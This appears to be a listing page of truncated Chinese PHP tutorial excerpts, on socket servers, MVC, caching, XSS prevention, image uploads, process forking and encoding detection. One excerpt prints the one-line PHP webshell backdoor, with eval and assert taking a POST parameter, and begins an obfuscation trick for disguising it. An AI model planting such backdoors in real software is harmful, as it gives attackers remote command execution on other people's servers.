Time of Update: 2017-01-19
socket伺服器的工作方式是這樣的,不間斷地運行以等待用戶端的串連。一旦用戶端串連上了,伺服器就會將它添加到客戶名單中,然後開始等待來自用戶端的訊息。不要走開,下面是完整的原始碼:// Set time limit to indefinite execution set_time_limit (0); // Set the ip and port we will listen on $address = 'localhost'; $port = 10000; $max_clients = 1
Time of Update: 2017-01-19
本文小編將為你奉上10個超級有用的PHP程式碼片段。1.尋找Longitudes與Latitudes之間的距離function getDistanceBetweenPointsNew($latitude1, $longitude1, $latitude2, $longitude2) { $theta = $longitude1 - $longitude2; $miles = (sin(deg2rad($latitude1)) * sin(deg2rad($latitude2))) +
Time of Update: 2017-01-19
本文執行個體講述了php實現簡單的MVC架構。分享給大家供大家參考。具體如下:在開始之前需要知道的知識1.php基礎知識2.單一入口, 不知道的可以看看這裡 (http://www.jb51.net/article/72621.htm)具備以上兩點, 那我們就可以開始啦. 哈哈!先來說一下程式的執行流程首先有個入口檔案, 然後初始化一些程式, 之後根據請求調用不同的類和方法首先我們弄一個入口檔案 Index.php 來看看代碼<?phprequire
Time of Update: 2017-01-19
本文較為詳細的分析了php單一入口應用程式。分享給大家供大家參考。具體如下:什麼是單一入口應用程式?在解釋什麼是單一入口應用程式之前,我們先來看看傳統的 web 應用程式。news.php 顯示新聞列表news_edit.php 顯示新聞編輯頁面這兩個頁面不但分別實現了兩個功能,還成為了應用程式的兩個入口。那什麼是入口啊?打個比方,大家上 WC,都是男生進一個門,女生進一個門。這兩個門就是 WC
Time of Update: 2017-01-19
本文執行個體分析了PHP中常見的緩衝技術。分享給大家供大家參考。具體如下:JBLOG在開發的過程中,對效能的最佳化做了不少工作。為了盡量減少不必要的資料庫查詢,我對一些資料進行了緩衝和靜態化處理。緩衝的原理:把一些經常要用到但又很少改動的資料以數組或其它形式儲存到一個獨立的PHP檔案中,然後在需要用到的時候包含進來。緩衝的優點:能夠大大減少資料庫的查詢次數,減輕資料庫的壓力,提高程式的執行效率。JBLOG緩衝的資料有:系統設定、部落格分類、側欄最新日誌、最新評論、部落格統計、日誌歸檔、友情連結、
Time of Update: 2017-01-19
用單引號代替雙引號來包含字串,這樣做會更快一些。因為PHP會在雙引號包圍的字串中搜尋變數,單引號則 不會,注意:只有echo能這麼做,它是一種可以把多個字串當作參數的“函數”(譯註:PHP手冊中說echo是語言結構,不是真正的函數,故把函數加 上了雙引號)。 1、如果能將類的方法定義成static,就盡量定義成static,它的速度會提升將近4倍。 2、$row['id']
Time of Update: 2017-01-19
感知雜湊演算法count < =5 匹配最相似count > 10 兩張不同的圖片var_dump(ImageHash::run(‘./1.png', ‘./psb.jpg'));<?phpclass ImageHash { const FILE_NOT_FOUND = '-1'; const FILE_EXTNAME_ILLEGAL = '-2'; private function __construct() {} public static
Time of Update: 2017-01-19
對網站發動XSS攻擊的方式有很多種,僅僅使用php的一些內建過濾函數是對付不了的,即使你將filter_var,mysql_real_escape_string,htmlentities,htmlspecialchars,strip_tags這些函數都使用上了也不一定能保證絕對的安全。那麼如何預防 XSS 注入?主要還是需要在使用者資料過濾方面得考慮周全,在這裡不完全總結下幾個 Tips1. 假定所有的使用者輸入資料都是“邪惡”的 2. 弱類型的指令碼語言必須保證類型和期望的一致 3.
Time of Update: 2017-01-19
一個最常見的一句話後門可能寫作這樣<?php @eval($_POST['cmd']);?>或這樣<?php @assert($_POST['cmd']);?>tudouya 同學在FREEBUF上給出[一種構造技巧]利用複製代碼 代碼如下:<?php @$_++; // $_ = 1 $__=("#"^"|"); // $__ = _ $__.=("."^"~"); //
Time of Update: 2017-01-19
不廢話了,具體請看下文程式碼範例講解。form.php<html><head> <meta http-equiv="content-type" content="text/html" charset="utf-8"> <title>Upload Image</title></head><body><form method="post" action="upload.php"
Time of Update: 2017-01-19
error_reporting() 函數規定報告哪個錯誤 。該函數設定當前指令碼的錯誤報表層級。該函數返回舊的錯誤報表層級。首先要知道error_reporting()函數是用來設定錯誤層級並返回當前層級的。它有14個錯誤層級,如下:1 E_ERROR 致命的執行階段錯誤。 錯誤無法恢複過來。指令碼的執行被暫停2 E_WARNING 非致命的執行階段錯誤。 指令碼的執行不會停止4 E_PARSE 編譯時間解析錯誤。解析錯誤應該只由分析器產生8
Time of Update: 2017-01-19
1: 面向過程的編寫方法//指定圖片路徑$src = '001.png';//擷取圖片資訊$info = getimagesize($src);//擷取圖片副檔名$type = image_type_to_extension($info[2],false);//動態把圖片匯入記憶體中$fun = "imagecreatefrom{$type}";$image = $fun('001.png');//指定字型顏色$col = imagecolorallocatealpha($image,255,2
Time of Update: 2017-01-19
在不查詢資料庫的情況下,每個會員登入進來會產生一個數字字母組合不重複的會員卡號。效果圖如下:當我們要將一個龐大的資料進行編號時,而編號有位元限制,比如5位的車牌號、10位的某證件號碼、訂單流水號、短網址等等,我們可以使用36進位計算出符合位元的不重複的編號。 &
Time of Update: 2017-01-19
今天給大家帶來的是如何利用socket發送GET,POST請求。我借用燕十八老師封裝好的一個Http類給進行說明。 在日常編程中相信很多人和我一樣大部分時間是利用瀏覽器向伺服器提出GET,POST請求,那麼可否利用其它方式提出GET,POST請求呢?答案必然是肯定的。瞭解過HTTP協議的人知道,瀏覽器提交請求的實質是向伺服器發送一個請求資訊,這個請求資訊有請求行,要求標頭,請求體(非必須)構成。伺服器根據請求資訊返回一個響應資訊。串連斷開。 HTTP請求的格式如下所示:<
Time of Update: 2017-01-19
遞迴函式是我們常用到的一類函數,最基本的特點是函數自身調用自身,但必須在調用自身前有條件判斷,否則無限無限調用下去。實現遞迴函式可以採取什麼方式呢?本文列出了三種基本方式。理解其原來需要一定的基礎知識水品,包括對全域變數,引用,靜態變數的理解,也需對他們的作用範圍有所理解。遞迴函式也是解決無限級分類的一個很好地技巧。如果對無限級分類感興趣,請參照php利用遞迴函式實現無限級分類。我習慣套用通俗的話解釋複雜的道理,您確實不明白請參見手冊。 利用引用做參數 先不管引用做不做參數,必須先明白引用到
Time of Update: 2017-01-19
隨著物件導向編程的普遍展開,物件導向展現了其中很多有趣的問題。相信很多初學者學習php物件導向時會接觸兩個函數,建構函式與解構函式。建構函式似乎用的更多,解構函式用的較少(相對初學者有限編程經驗而言,筆者也是如此。)在功能上,建構函式在建立對象時調用,解構函式在對象銷毀時調用,都無需特意去調用,一頭一尾,倒也是前後照應。 解構函式常常處理的事務是一些資源釋放的工作,比如前面有fopen(),這裡調用fclose(),前面有imagecreatefromjepg(),這裡調用imagedes
Time of Update: 2017-01-19
此文意在記錄 Yii 開發過程中的小問題解決方案,不全面,不權威,不是教程。自己寫過,覺得可以解決問題,以後也可能用上,就記記吧。 1. Yii 中 Js 和 Css 檔案的引入。 我們就從最簡單的問題開始吧,說起來也不是問題,只是文法罷了。假設我們的 js 檔案都放在和 protected 同一層的 js 檔案夾裡,css 檔案都放在和 protected 同一層的 css 檔案夾裡,好吧,規範就是這樣的...
Time of Update: 2017-01-19
子進程的建立一般的子進程的寫法是:<?php$pid = pcntl_fork();if($pid == -1){ //建立失敗 die('could not fork');}else{ if($pid){ //從這裡開始寫的代碼是父進程的 exit("parent!"); } else{
Time of Update: 2017-01-19
當使用者開啟php頁面時,服務端便執行PHP的命令並將執行結果發送至使用者的瀏覽器中,這類似於ASP和CoildFusion,PHP可以運行在WINDOWS和多種版本的UNIX上。除了能夠操作您的頁面外,PHP還能發送HTTP的標題。你可以設定cookie,管理數位簽章和重新導向使用者,而且它提供了極好的連通性到其它資料庫(還有ODBC),整合各種 外部庫來做用PDF文檔解析XML的任何事情。那你還知道可以用php的強大功能做點別的東西嗎?
Time of Update: 2017-01-19
php中可以使用 mb_detect_encoding() 函數來判斷字串是什麼編碼的。當在php中使用mb_detect_encoding函數進行編碼識別時,很多人都碰到過識別編碼有誤的問題,例如對與GB2312和UTF-8,或者UTF-8和GBK(這裡主要是對於cp936的判斷),網上說是由於字元短時mb_detect_encoding會出現誤判。代碼如下: $encode = mb_detect_encoding($keytitle, array("ASCII","UTF-8",